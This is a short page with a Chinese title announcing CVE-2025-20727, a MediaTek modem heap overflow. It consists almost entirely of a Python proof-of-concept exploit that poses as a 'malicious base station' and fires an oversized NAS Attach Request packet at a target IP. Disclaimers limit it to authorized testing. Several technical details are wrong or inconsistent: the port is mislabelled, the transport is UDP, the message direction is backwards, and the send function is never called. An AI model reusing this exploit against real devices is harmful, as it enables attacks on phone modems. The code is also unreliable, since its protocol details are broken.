CVE-2025-20727 MediaTek Modem堆缓冲区溢出远程权限提升漏洞

# CVE-2025-20727 MediaTek Modem Heap Buffer Overflow PoC # This is a conceptual proof-of-concept for security research # DO NOT use for unauthorized testing import struct import socket class MaliciousBaseStation: def __init__(self, target_ip): self.target_ip = target_ip self.port = 38412 # LTE S1-MME port def craft_malicious_packet(self): # Construct malicious NAS message with oversized IE packet = bytearray() # Protocol discriminator and security header packet.extend([0x41, 0x00]) # Message type: Attach Request packet.append(0x41) # EPS Attach Type packet.append(0x01) # NAS Key Set Identifier packet.append(0x07) # EPS Mobile Identity - Long format packet.append(0xF0) packet.extend([0x08, 0x21, 0x43, 0x65, 0x87, 0xF9]) # GUTI # Crafted Information Element with overflow data ie_type = 0xFF ie_length = 0xFFFF # Malicious oversized length overflow_data = b'A' * 0x2000 # 8KB overflow payload packet.append(ie_type) packet.extend(struct.pack('>H', ie_length)) packet.extend(overflow_data) return bytes(packet) def send_exploit(self): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) malicious_packet = self.craft_malicious_packet() sock.sendto(malicious_packet, (self.target_ip, self.port)) sock.close() print(f"Malicious packet sent to {self.target_ip}") if __name__ == "__main__": print("CVE-2025-20727 PoC - MediaTek Modem Heap Overflow") print("For authorized security testing only")